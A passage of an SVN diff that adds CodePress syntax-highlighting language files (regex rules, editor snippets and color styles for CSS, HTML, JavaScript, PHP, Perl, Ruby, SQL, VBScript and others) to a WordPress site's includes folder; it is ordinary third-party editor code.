+s, s b {color:#a0a0dd;} /* parameters */
+a {color:#0000ff;} /* keys */
+u {color:red;} /* values */
+
Index: /trunk/www.guidonia.net/wp/wp-includes/js/codepress/languages/css.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/codepress/languages/css.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/codepress/languages/css.js	(revision 44)
@@ -0,0 +1,23 @@
+/*
+ * CodePress regular expressions for CSS syntax highlighting
+ */
+
+// CSS
+Language.syntax = [
+	{ input : /(.*?){(.*?)}/g,output : '<b>$1</b>{<u>$2</u>}' }, // tags, ids, classes, values
+	{ input : /([\w-]*?):([^\/])/g,output : '<a>$1</a>:$2' }, // keys
+	{ input : /\((.*?)\)/g,output : '(<s>$1</s>)' }, // parameters
+	{ input : /\/\*(.*?)\*\//g,output : '<i>/*$1*/</i>'} // comments
+]
+
+Language.snippets = []
+
+Language.complete = [
+	{ input : '\'',output : '\'$0\'' },
+	{ input : '"', output : '"$0"' },
+	{ input : '(', output : '\($0\)' },
+	{ input : '[', output : '\[$0\]' },
+	{ input : '{', output : '{\n\t$0\n}' }		
+]
+
+Language.shortcuts = []
Index: /trunk/www.guidonia.net/wp/wp-includes/js/codepress/languages/generic.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/codepress/languages/generic.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/codepress/languages/generic.css	(revision 44)
@@ -0,0 +1,9 @@
+/*
+ * CodePress color styles for generic syntax highlighting
+ */
+
+b {color:#7F0055;font-weight:bold;} /* reserved words */
+u {color:darkblue;font-weight:bold;} /* special words */
+i, i b, i s, i u, i em {color:green;font-weight:normal;} /* comments */
+s, s b, s em {color:#2A00FF;font-weight:normal;} /* strings */
+em {font-weight:bold;} /* special chars */
Index: /trunk/www.guidonia.net/wp/wp-includes/js/codepress/languages/generic.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/codepress/languages/generic.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/codepress/languages/generic.js	(revision 44)
@@ -0,0 +1,25 @@
+/*
+ * CodePress regular expressions for generic syntax highlighting
+ */
+ 
+// generic languages
+Language.syntax = [
+	{ input : /\"(.*?)(\"|<br>|<\/P>)/g, output : '<s>"$1$2</s>' }, // strings double quote
+	{ input : /\'(.*?)(\'|<br>|<\/P>)/g, output : '<s>\'$1$2</s>' }, // strings single quote
+	{ input : /\b(abstract|continue|for|new|switch|default|goto|boolean|do|if|private|this|break|double|protected|throw|byte|else|import|public|throws|case|return|catch|extends|int|short|try|char|final|interface|static|void|class|finally|long|const|float|while|function|label)\b/g, output : '<b>$1</b>' }, // reserved words
+	{ input : /([\(\){}])/g, output : '<em>$1</em>' }, // special chars;
+	{ input : /([^:]|^)\/\/(.*?)(<br|<\/P)/g, output : '$1<i>//$2</i>$3' }, // comments //
+	{ input : /\/\*(.*?)\*\//g, output : '<i>/*$1*/</i>' } // comments /* */
+]
+
+Language.snippets = []
+
+Language.complete = [
+	{ input : '\'', output : '\'$0\'' },
+	{ input : '"', output : '"$0"' },
+	{ input : '(', output : '\($0\)' },
+	{ input : '[', output : '\[$0\]' },
+	{ input : '{', output : '{\n\t$0\n}' }		
+]
+
+Language.shortcuts = []
Index: /trunk/www.guidonia.net/wp/wp-includes/js/codepress/languages/html.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/codepress/languages/html.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/codepress/languages/html.css	(revision 44)
@@ -0,0 +1,13 @@
+/*
+ * CodePress color styles for HTML syntax highlighting
+ */
+
+b {color:#000080;} /* tags */
+ins, ins b, ins s, ins em {color:gray;} /* comments */
+s, s b {color:#7777e4;} /* attribute values */
+a {color:green;} /* links */
+u {color:#E67300;} /* forms */
+big {color:#db0000;} /* images */
+em, em b {color:#800080;} /* style */
+strong {color:#800000;} /* script */
+tt i {color:darkblue;font-weight:bold;} /* script reserved words */
Index: /trunk/www.guidonia.net/wp/wp-includes/js/codepress/languages/html.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/codepress/languages/html.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/codepress/languages/html.js	(revision 44)
@@ -0,0 +1,59 @@
+/*
+ * CodePress regular expressions for HTML syntax highlighting
+ */
+
+// HTML
+Language.syntax = [
+	{ input : /(&lt;[^!]*?&gt;)/g, output : '<b>$1</b>'	}, // all tags
+	{ input : /(&lt;a .*?&gt;|&lt;\/a&gt;)/g, output : '<a>$1</a>' }, // links
+	{ input : /(&lt;img .*?&gt;)/g, output : '<big>$1</big>' }, // images
+	{ input : /(&lt;\/?(button|textarea|form|input|select|option|label).*?&gt;)/g, output : '<u>$1</u>' }, // forms
+	{ input : /(&lt;style.*?&gt;)(.*?)(&lt;\/style&gt;)/g, output : '<em>$1</em><em>$2</em><em>$3</em>' }, // style tags
+	{ input : /(&lt;script.*?&gt;)(.*?)(&lt;\/script&gt;)/g, output : '<strong>$1</strong><tt>$2</tt><strong>$3</strong>' }, // script tags
+	{ input : /=(".*?")/g, output : '=<s>$1</s>' }, // atributes double quote
+	{ input : /=('.*?')/g, output : '=<s>$1</s>' }, // atributes single quote
+	{ input : /(&lt;!--.*?--&gt.)/g, output : '<ins>$1</ins>' }, // comments 
+	{ input : /\b(alert|window|document|break|continue|do|for|new|this|void|case|default|else|function|return|typeof|while|if|label|switch|var|with|catch|boolean|int|try|false|throws|null|true|goto)\b/g, output : '<i>$1</i>' } // script reserved words 
+]
+
+Language.snippets = [
+	{ input : 'aref', output : '<a href="$0"></a>' },
+	{ input : 'h1', output : '<h1>$0</h1>' },
+	{ input : 'h2', output : '<h2>$0</h2>' },
+	{ input : 'h3', output : '<h3>$0</h3>' },
+	{ input : 'h4', output : '<h4>$0</h4>' },
+	{ input : 'h5', output : '<h5>$0</h5>' },
+	{ input : 'h6', output : '<h6>$0</h6>' },
+	{ input : 'html', output : '<html>\n\t$0\n</html>' },
+	{ input : 'head', output : '<head>\n\t<meta http-equiv="content-type" content="text/html; charset=utf-8" />\n\t<title>$0</title>\n\t\n</head>' },
+	{ input : 'img', output : '<img src="$0" alt="" />' },
+	{ input : 'input', output : '<input name="$0" id="" type="" value="" />' },
+	{ input : 'label', output : '<label for="$0"></label>' },
+	{ input : 'legend', output : '<legend>\n\t$0\n</legend>' },
+	{ input : 'link', output : '<link rel="stylesheet" href="$0" type="text/css" media="screen" charset="utf-8" />' },		
+	{ input : 'base', output : '<base href="$0" />' }, 
+	{ input : 'body', output : '<body>\n\t$0\n</body>' }, 
+	{ input : 'css', output : '<link rel="stylesheet" href="$0" type="text/css" media="screen" charset="utf-8" />' },
+	{ input : 'div', output : '<div>\n\t$0\n</div>' },
+	{ input : 'divid', output : '<div id="$0">\n\t\n</div>' },
+	{ input : 'dl', output : '<dl>\n\t<dt>\n\t\t$0\n\t</dt>\n\t<dd></dd>\n</dl>' },
+	{ input : 'fieldset', output : '<fieldset>\n\t$0\n</fieldset>' },
+	{ input : 'form', output : '<form action="$0" method="" name="">\n\t\n</form>' },
+	{ input : 'meta', output : '<meta name="$0" content="" />' },
+	{ input : 'p', output : '<p>$0</p>' },
+	{ input : 'script', output : '<script type="text/javascript" language="javascript" charset="utf-8">\n\t$0\t\n</script>' },
+	{ input : 'scriptsrc', output : '<script src="$0" type="text/javascript" language="javascript" charset="utf-8"></script>' },
+	{ input : 'span', output : '<span>$0</span>' },
+	{ input : 'table', output : '<table border="$0" cellspacing="" cellpadding="">\n\t<tr><th></th></tr>\n\t<tr><td></td></tr>\n</table>' },
+	{ input : 'style', output : '<style type="text/css" media="screen">\n\t$0\n</style>' }
+]
+	
+Language.complete = [
+	{ input : '\'',output : '\'$0\'' },
+	{ input : '"', output : '"$0"' },
+	{ input : '(', output : '\($0\)' },
+	{ input : '[', output : '\[$0\]' },
+	{ input : '{', output : '{\n\t$0\n}' }		
+]
+
+Language.shortcuts = []
Index: /trunk/www.guidonia.net/wp/wp-includes/js/codepress/languages/java.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/codepress/languages/java.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/codepress/languages/java.css	(revision 44)
@@ -0,0 +1,7 @@
+/*
+ * CodePress color styles for Java syntax highlighting
+ */
+
+b {color:#7F0055;font-weight:bold;font-style:normal;} /* reserved words */
+i, i b, i s {color:#3F7F5F;font-weight:bold;} /* comments */
+s, s b {color:#2A00FF;font-weight:normal;} /* strings */
Index: /trunk/www.guidonia.net/wp/wp-includes/js/codepress/languages/java.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/codepress/languages/java.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/codepress/languages/java.js	(revision 44)
@@ -0,0 +1,24 @@
+/*
+ * CodePress regular expressions for Java syntax highlighting
+ */
+ 
+// Java
+Language.syntax = [
+	{ input : /\"(.*?)(\"|<br>|<\/P>)/g, output : '<s>"$1$2</s>'}, // strings double quote
+	{ input : /\'(.*?)(\'|<br>|<\/P>)/g, output : '<s>\'$1$2</s>'}, // strings single quote
+	{ input : /\b(abstract|continue|for|new|switch|assert|default|goto|package|synchronized|boolean|do|if|private|this|break|double|implements|protected|throw|byte|else|import|public|throws|case|enum|instanceof|return|transient|catch|extends|int|short|try|char|final|interface|static|void|class|finally|long|strictfp|volatile|const|float|native|super|while)\b/g, output : '<b>$1</b>'}, // reserved words
+	{ input : /([^:]|^)\/\/(.*?)(<br|<\/P)/g, output : '$1<i>//$2</i>$3'}, // comments //	
+	{ input : /\/\*(.*?)\*\//g, output : '<i>/*$1*/</i>' }// comments /* */
+]
+
+Language.snippets = []
+
+Language.complete = [
+	{ input : '\'',output : '\'$0\'' },
+	{ input : '"', output : '"$0"' },
+	{ input : '(', output : '\($0\)' },
+	{ input : '[', output : '\[$0\]' },
+	{ input : '{', output : '{\n\t$0\n}' }		
+]
+
+Language.shortcuts = []
Index: /trunk/www.guidonia.net/wp/wp-includes/js/codepress/languages/javascript.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/codepress/languages/javascript.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/codepress/languages/javascript.css	(revision 44)
@@ -0,0 +1,8 @@
+/*
+ * CodePress color styles for JavaScript syntax highlighting
+ */
+
+b {color:#7F0055;font-weight:bold;} /* reserved words */
+u {color:darkblue;font-weight:bold;} /* special words */
+i, i b, i s, i u {color:green;font-weight:normal;} /* comments */
+s, s b, s u {color:#2A00FF;font-weight:normal;} /* strings */
Index: /trunk/www.guidonia.net/wp/wp-includes/js/codepress/languages/javascript.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/codepress/languages/javascript.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/codepress/languages/javascript.js	(revision 44)
@@ -0,0 +1,30 @@
+/*
+ * CodePress regular expressions for JavaScript syntax highlighting
+ */
+ 
+// JavaScript
+Language.syntax = [ 
+	{ input : /\"(.*?)(\"|<br>|<\/P>)/g, output : '<s>"$1$2</s>' }, // strings double quote
+	{ input : /\'(.*?)(\'|<br>|<\/P>)/g, output : '<s>\'$1$2</s>' }, // strings single quote
+	{ input : /\b(break|continue|do|for|new|this|void|case|default|else|function|return|typeof|while|if|label|switch|var|with|catch|boolean|int|try|false|throws|null|true|goto)\b/g, output : '<b>$1</b>' }, // reserved words
+	{ input : /\b(alert|isNaN|parent|Array|parseFloat|parseInt|blur|clearTimeout|prompt|prototype|close|confirm|length|Date|location|Math|document|element|name|self|elements|setTimeout|navigator|status|String|escape|Number|submit|eval|Object|event|onblur|focus|onerror|onfocus|onclick|top|onload|toString|onunload|unescape|open|valueOf|window|onmouseover)\b/g, output : '<u>$1</u>' }, // special words
+	{ input : /([^:]|^)\/\/(.*?)(<br|<\/P)/g, output : '$1<i>//$2</i>$3' }, // comments //
+	{ input : /\/\*(.*?)\*\//g, output : '<i>/*$1*/</i>' } // comments /* */
+]
+
+Language.snippets = [
+	{ input : 'dw', output : 'document.write(\'$0\');' },
+	{ input : 'getid', output : 'document.getElementById(\'$0\')' },
+	{ input : 'fun', output : 'function $0(){\n\t\n}' },
+	{ input : 'func', output : 'function $0(){\n\t\n}' }
+]
+
+Language.complete = [
+	{ input : '\'',output : '\'$0\'' },
+	{ input : '"', output : '"$0"' },
+	{ input : '(', output : '\($0\)' },
+	{ input : '[', output : '\[$0\]' },
+	{ input : '{', output : '{\n\t$0\n}' }		
+]
+
+Language.shortcuts = []
Index: /trunk/www.guidonia.net/wp/wp-includes/js/codepress/languages/perl.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/codepress/languages/perl.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/codepress/languages/perl.css	(revision 44)
@@ -0,0 +1,11 @@
+/*
+ * CodePress color styles for Perl syntax highlighting
+ * By J. Nick Koston
+ */
+
+b {color:#7F0055;font-weight:bold;} /* reserved words */
+i, i b, i s, i em, i a, i u {color:gray;font-weight:normal;} /* comments */
+s, s b, s a, s em, s u {color:#2A00FF;font-weight:normal;} /* strings */
+a {color:#006700;font-weight:bold;} /* variables */
+em {color:darkblue;font-weight:bold;} /* functions */
+u {font-weight:bold;} /* special chars */
Index: /trunk/www.guidonia.net/wp/wp-includes/js/codepress/languages/perl.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/codepress/languages/perl.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/codepress/languages/perl.js	(revision 44)
@@ -0,0 +1,27 @@
+/*
+ * CodePress regular expressions for Perl syntax highlighting
+ * By J. Nick Koston
+ */
+
+// Perl
+Language.syntax = [ 
+	{ input  : /\"(.*?)(\"|<br>|<\/P>)/g, output : '<s>"$1$2</s>' }, // strings double quote
+	{ input  : /\'(.*?)(\'|<br>|<\/P>)/g, output : '<s>\'$1$2</s>' }, // strings single quote
+	{ input  : /([\$\@\%][\w\.]*)/g, output : '<a>$1</a>' }, // vars
+	{ input  : /(sub\s+)([\w\.]*)/g, output : '$1<em>$2</em>' }, // functions
+	{ input  : /\b(abs|accept|alarm|atan2|bind|binmode|bless|caller|chdir|chmod|chomp|chop|chown|chr|chroot|close|closedir|connect|continue|cos|crypt|dbmclose|dbmopen|defined|delete|die|do|dump|each|else|elsif|endgrent|endhostent|endnetent|endprotoent|endpwent|eof|eval|exec|exists|exit|fcntl|fileno|find|flock|for|foreach|fork|format|formlinegetc|getgrent|getgrgid|getgrnam|gethostbyaddr|gethostbyname|gethostent|getlogin|getnetbyaddr|getnetbyname|getnetent|getpeername|getpgrp|getppid|getpriority|getprotobyname|getprotobynumber|getprotoent|getpwent|getpwnam|getpwuid|getservbyaddr|getservbyname|getservbyport|getservent|getsockname|getsockopt|glob|gmtime|goto|grep|hex|hostname|if|import|index|int|ioctl|join|keys|kill|last|lc|lcfirst|length|link|listen|LoadExternals|local|localtime|log|lstat|map|mkdir|msgctl|msgget|msgrcv|msgsnd|my|next|no|oct|open|opendir|ordpack|package|pipe|pop|pos|print|printf|push|pwd|qq|quotemeta|qw|rand|read|readdir|readlink|recv|redo|ref|rename|require|reset|return|reverse|rewinddir|rindex|rmdir|scalar|seek|seekdir|select|semctl|semget|semop|send|setgrent|sethostent|setnetent|setpgrp|setpriority|setprotoent|setpwent|setservent|setsockopt|shift|shmctl|shmget|shmread|shmwrite|shutdown|sin|sleep|socket|socketpair|sort|splice|split|sprintf|sqrt|srand|stat|stty|study|sub|substr|symlink|syscall|sysopen|sysread|system|syswritetell|telldir|tie|tied|time|times|tr|truncate|uc|ucfirst|umask|undef|unless|unlink|until|unpack|unshift|untie|use|utime|values|vec|waitpid|wantarray|warn|while|write)\b/g, output : '<b>$1</b>' }, // reserved words
+	{ input  : /([\(\){}])/g, output : '<u>$1</u>' }, // special chars
+	{ input  : /#(.*?)(<br>|<\/P>)/g, output : '<i>#$1</i>$2' } // comments
+]
+
+Language.snippets = []
+
+Language.complete = [
+	{ input : '\'',output : '\'$0\'' },
+	{ input : '"', output : '"$0"' },
+	{ input : '(', output : '\($0\)' },
+	{ input : '[', output : '\[$0\]' },
+	{ input : '{', output : '{\n\t$0\n}' }		
+]
+
+Language.shortcuts = []
Index: /trunk/www.guidonia.net/wp/wp-includes/js/codepress/languages/php.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/codepress/languages/php.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/codepress/languages/php.css	(revision 44)
@@ -0,0 +1,12 @@
+/*
+ * CodePress color styles for PHP syntax highlighting
+ */
+
+b {color:#000080;} /* tags */
+big, big b, big em, big ins, big s, strong i, strong i b, strong i s, strong i u, strong i a, strong i a u, strong i s u {color:gray;font-weight:normal;} /* comments */
+s, s b, strong s u, strong s cite {color:#5656fa;font-weight:normal;} /* attributes and strings */
+strong a, strong a u {color:#006700;font-weight:bold;} /* variables */
+em {color:#800080;font-style:normal;} /* style */
+ins {color:#800000;} /* script */
+strong u {color:#7F0055;font-weight:bold;} /* reserved words */
+cite, s cite {color:red;font-weight:bold;} /* <?php and ?> */
Index: /trunk/www.guidonia.net/wp/wp-includes/js/codepress/languages/php.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/codepress/languages/php.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/codepress/languages/php.js	(revision 44)
@@ -0,0 +1,61 @@
+/*
+ * CodePress regular expressions for PHP syntax highlighting
+ */
+
+// PHP
+Language.syntax = [
+	{ input : /(&lt;[^!\?]*?&gt;)/g, output : '<b>$1</b>' }, // all tags
+	{ input : /(&lt;style.*?&gt;)(.*?)(&lt;\/style&gt;)/g, output : '<em>$1</em><em>$2</em><em>$3</em>' }, // style tags
+	{ input : /(&lt;script.*?&gt;)(.*?)(&lt;\/script&gt;)/g, output : '<ins>$1</ins><ins>$2</ins><ins>$3</ins>' }, // script tags
+	{ input : /\"(.*?)(\"|<br>|<\/P>)/g, output : '<s>"$1$2</s>' }, // strings double quote
+	{ input : /\'(.*?)(\'|<br>|<\/P>)/g, output : '<s>\'$1$2</s>'}, // strings single quote
+	{ input : /(&lt;\?)/g, output : '<strong>$1' }, // <?.*
+	{ input : /(\?&gt;)/g, output : '$1</strong>' }, // .*?>
+	{ input : /(&lt;\?php|&lt;\?=|&lt;\?|\?&gt;)/g, output : '<cite>$1</cite>' }, // php tags
+	{ input : /(\$[\w\.]*)/g, output : '<a>$1</a>' }, // vars
+	{ input : /\b(false|true|and|or|xor|__FILE__|exception|__LINE__|array|as|break|case|class|const|continue|declare|default|die|do|echo|else|elseif|empty|enddeclare|endfor|endforeach|endif|endswitch|endwhile|eval|exit|extends|for|foreach|function|global|if|include|include_once|isset|list|new|print|require|require_once|return|static|switch|unset|use|while|__FUNCTION__|__CLASS__|__METHOD__|final|php_user_filter|interface|implements|extends|public|private|protected|abstract|clone|try|catch|throw|this)\b/g, output : '<u>$1</u>' }, // reserved words
+	{ input : /([^:])\/\/(.*?)(<br|<\/P)/g, output : '$1<i>//$2</i>$3' }, // php comments //
+	{ input : /([^:])#(.*?)(<br|<\/P)/g, output : '$1<i>#$2</i>$3' }, // php comments #
+	{ input : /\/\*(.*?)\*\//g, output : '<i>/*$1*/</i>' }, // php comments /* */
+	{ input : /(&lt;!--.*?--&gt.)/g, output : '<big>$1</big>' } // html comments
+]
+
+Language.snippets = [
+	{ input : 'if', output : 'if($0){\n\t\n}' },
+	{ input : 'ifelse', output : 'if($0){\n\t\n}\nelse{\n\t\n}' },
+	{ input : 'else', output : '}\nelse {\n\t' },
+	{ input : 'elseif', output : '}\nelseif($0) {\n\t' },
+	{ input : 'do', output : 'do{\n\t$0\n}\nwhile();' },
+	{ input : 'inc', output : 'include_once("$0");' },
+	{ input : 'fun', output : 'function $0(){\n\t\n}' },	
+	{ input : 'func', output : 'function $0(){\n\t\n}' },	
+	{ input : 'while', output : 'while($0){\n\t\n}' },
+	{ input : 'for', output : 'for($0,,){\n\t\n}' },
+	{ input : 'fore', output : 'foreach($0 as ){\n\t\n}' },
+	{ input : 'foreach', output : 'foreach($0 as ){\n\t\n}' },
+	{ input : 'echo', output : 'echo \'$0\';' },
+	{ input : 'switch', output : 'switch($0) {\n\tcase "": break;\n\tdefault: ;\n}' },
+	{ input : 'case', output : 'case "$0" : break;' },
+	{ input : 'ret0', output : 'return false;' },
+	{ input : 'retf', output : 'return false;' },
+	{ input : 'ret1', output : 'return true;' },
+	{ input : 'rett', output : 'return true;' },
+	{ input : 'ret', output : 'return $0;' },
+	{ input : 'def', output : 'define(\'$0\',\'\');' },
+	{ input : '<?', output : 'php\n$0\n?>' }
+]
+
+Language.complete = [
+	{ input : '\'', output : '\'$0\'' },
+	{ input : '"', output : '"$0"' },
+	{ input : '(', output : '\($0\)' },
+	{ input : '[', output : '\[$0\]' },
+	{ input : '{', output : '{\n\t$0\n}' }		
+]
+
+Language.shortcuts = [
+	{ input : '[space]', output : '&nbsp;' },
+	{ input : '[enter]', output : '<br />' } ,
+	{ input : '[j]', output : 'testing' },
+	{ input : '[7]', output : '&amp;' }
+]
Index: /trunk/www.guidonia.net/wp/wp-includes/js/codepress/languages/ruby.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/codepress/languages/ruby.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/codepress/languages/ruby.css	(revision 44)
@@ -0,0 +1,10 @@
+/*
+ * CodePress color styles for Ruby syntax highlighting
+ */
+
+b {color:#7F0055;font-weight:bold;} /* reserved words */
+i, i b, i s, i em, i a, i u {color:gray;font-weight:normal;} /* comments */
+s, s b, s a, s em, s u {color:#2A00FF;font-weight:normal;} /* strings */
+a {color:#006700;font-weight:bold;} /* variables */
+em {color:darkblue;font-weight:bold;} /* functions */
+u {font-weight:bold;} /* special chars */
Index: /trunk/www.guidonia.net/wp/wp-includes/js/codepress/languages/ruby.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/codepress/languages/ruby.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/codepress/languages/ruby.js	(revision 44)
@@ -0,0 +1,26 @@
+/*
+ * CodePress regular expressions for Perl syntax highlighting
+ */
+
+// Ruby
+Language.syntax = [
+	{ input : /\"(.*?)(\"|<br>|<\/P>)/g, output : '<s>"$1$2</s>' }, // strings double quote 
+	{ input : /\'(.*?)(\'|<br>|<\/P>)/g, output : '<s>\'$1$2</s>' }, // strings single quote
+	{ input : /([\$\@\%]+)([\w\.]*)/g, output : '<a>$1$2</a>' }, // vars
+	{ input : /(def\s+)([\w\.]*)/g, output : '$1<em>$2</em>' }, // functions
+	{ input : /\b(alias|and|BEGIN|begin|break|case|class|def|defined|do|else|elsif|END|end|ensure|false|for|if|in|module|next|nil|not|or|redo|rescue|retry|return|self|super|then|true|undef|unless|until|when|while|yield)\b/g, output : '<b>$1</b>' }, // reserved words
+	{ input  : /([\(\){}])/g, output : '<u>$1</u>' }, // special chars
+	{ input  : /#(.*?)(<br>|<\/P>)/g, output : '<i>#$1</i>$2' } // comments
+];
+
+Language.snippets = []
+
+Language.complete = [
+	{ input : '\'',output : '\'$0\'' },
+	{ input : '"', output : '"$0"' },
+	{ input : '(', output : '\($0\)' },
+	{ input : '[', output : '\[$0\]' },
+	{ input : '{', output : '{\n\t$0\n}' }		
+]
+
+Language.shortcuts = []
Index: /trunk/www.guidonia.net/wp/wp-includes/js/codepress/languages/sql.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/codepress/languages/sql.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/codepress/languages/sql.css	(revision 44)
@@ -0,0 +1,10 @@
+/*
+ * CodePress color styles for SQL syntax highlighting
+ * By Merlin Moncure
+ */
+ 
+b {color:#0000FF;font-style:normal;font-weight:bold;} /* reserved words */
+u {color:#FF0000;font-style:normal;} /* types */
+a {color:#CD6600;font-style:normal;font-weight:bold;} /* commands */
+i, i b, i u, i a, i s  {color:#A9A9A9;font-weight:normal;font-style:italic;} /* comments */
+s, s b, s u, s a, s i {color:#2A00FF;font-weight:normal;} /* strings */
Index: /trunk/www.guidonia.net/wp/wp-includes/js/codepress/languages/sql.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/codepress/languages/sql.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/codepress/languages/sql.js	(revision 44)
@@ -0,0 +1,30 @@
+/*
+ * CodePress regular expressions for SQL syntax highlighting
+ * By Merlin Moncure
+ */
+ 
+// SQL
+Language.syntax = [
+	{ input : /\'(.*?)(\')/g, output : '<s>\'$1$2</s>' }, // strings single quote
+	{ input : /\b(add|after|aggregate|alias|all|and|as|authorization|between|by|cascade|cache|cache|called|case|check|column|comment|constraint|createdb|createuser|cycle|database|default|deferrable|deferred|diagnostics|distinct|domain|each|else|elseif|elsif|encrypted|except|exception|for|foreign|from|from|full|function|get|group|having|if|immediate|immutable|in|increment|initially|increment|index|inherits|inner|input|intersect|into|invoker|is|join|key|language|left|like|limit|local|loop|match|maxvalue|minvalue|natural|nextval|no|nocreatedb|nocreateuser|not|null|of|offset|oids|on|only|operator|or|order|outer|owner|partial|password|perform|plpgsql|primary|record|references|replace|restrict|return|returns|right|row|rule|schema|security|sequence|session|sql|stable|statistics|table|temp|temporary|then|time|to|transaction|trigger|type|unencrypted|union|unique|user|using|valid|value|values|view|volatile|when|where|with|without|zone)\b/gi, output : '<b>$1</b>' }, // reserved words
+	{ input : /\b(bigint|bigserial|bit|boolean|box|bytea|char|character|cidr|circle|date|decimal|double|float4|float8|inet|int2|int4|int8|integer|interval|line|lseg|macaddr|money|numeric|oid|path|point|polygon|precision|real|refcursor|serial|serial4|serial8|smallint|text|timestamp|varbit|varchar)\b/gi, output : '<u>$1</u>' }, // types
+	{ input : /\b(abort|alter|analyze|begin|checkpoint|close|cluster|comment|commit|copy|create|deallocate|declare|delete|drop|end|execute|explain|fetch|grant|insert|listen|load|lock|move|notify|prepare|reindex|reset|restart|revoke|rollback|select|set|show|start|truncate|unlisten|update)\b/gi, output : '<a>$1</a>' }, // commands
+	{ input : /([^:]|^)\-\-(.*?)(<br|<\/P)/g, output: '$1<i>--$2</i>$3' } // comments //	
+]
+
+Language.snippets = [
+	{ input : 'select', output : 'select $0 from  where ' }
+]
+
+Language.complete = [
+	{ input : '\'', output : '\'$0\'' },
+	{ input : '"', output : '"$0"' },
+	{ input : '(', output : '\($0\)' },
+	{ input : '[', output : '\[$0\]' },
+	{ input : '{', output : '{\n\t$0\n}' }		
+]
+
+Language.shortcuts = []
+
+
+
Index: /trunk/www.guidonia.net/wp/wp-includes/js/codepress/languages/text.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/codepress/languages/text.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/codepress/languages/text.css	(revision 44)
@@ -0,0 +1,5 @@
+/*
+ * CodePress color styles for Text syntax highlighting
+ */
+
+/* do nothing as expected */
Index: /trunk/www.guidonia.net/wp/wp-includes/js/codepress/languages/text.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/codepress/languages/text.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/codepress/languages/text.js	(revision 44)
@@ -0,0 +1,9 @@
+/*
+ * CodePress regular expressions for Text syntax highlighting
+ */
+
+// plain text
+Language.syntax = []
+Language.snippets = []
+Language.complete = []
+Language.shortcuts = []
Index: /trunk/www.guidonia.net/wp/wp-includes/js/codepress/languages/vbscript.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/codepress/languages/vbscript.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/codepress/languages/vbscript.css	(revision 44)
@@ -0,0 +1,71 @@
+/*
+ * CodePress color styles for ASP-VB syntax highlighting 
+ * By Martin D. Kirk
+ */
+
+/* tags */
+b {
+	color:#000080;
+} 
+/* comments */
+big, big b, big em, big ins, big s, strong i, strong i b, strong i s, strong i u, strong i a, strong i a u, strong i s u {
+	color:gray;
+	font-weight:normal;
+}
+/* ASP comments */
+strong dfn, strong dfn a,strong dfn var, strong dfn a u, strong dfn u{
+	color:gray;
+	font-weight:normal;
+}
+ /* attributes */ 
+s, s b, span s u, span s cite, strong span s {
+	color:#5656fa ;
+	font-weight:normal;
+}
+ /* strings */ 
+strong s,strong s b, strong s u, strong s cite {
+	color:#009900;
+	font-weight:normal;
+}
+strong ins{
+	color:#000000;
+	font-weight:bold;
+}
+ /* Syntax */
+strong a, strong a u {
+	color:#0000FF;
+	font-weight:;
+}
+ /* Native Keywords */
+strong u {
+	color:#990099;
+	font-weight:bold;
+}
+/* Numbers */
+strong var{
+	color:#FF0000;
+}
+/* ASP Language */
+span{
+	color:#990000;
+	font-weight:bold;
+}
+strong i,strong a i, strong u i {
+	color:#009999;
+}
+/* style */
+em {
+	color:#800080;
+	font-style:normal;
+}
+ /* script */ 
+ins {
+	color:#800000;
+	font-weight:bold;
+}
+
+/* <?php and ?> */
+cite, s cite {
+	color:red;
+	font-weight:bold;
+}
Index: /trunk/www.guidonia.net/wp/wp-includes/js/codepress/languages/vbscript.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/codepress/languages/vbscript.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/codepress/languages/vbscript.js	(revision 44)
@@ -0,0 +1,117 @@
+/*
+ * CodePress regular expressions for ASP-vbscript syntax highlighting
+ */
+
+// ASP VBScript
+Language.syntax = [
+// all tags
+	{ input : /(&lt;[^!%|!%@]*?&gt;)/g, output : '<b>$1</b>' }, 
+// style tags	
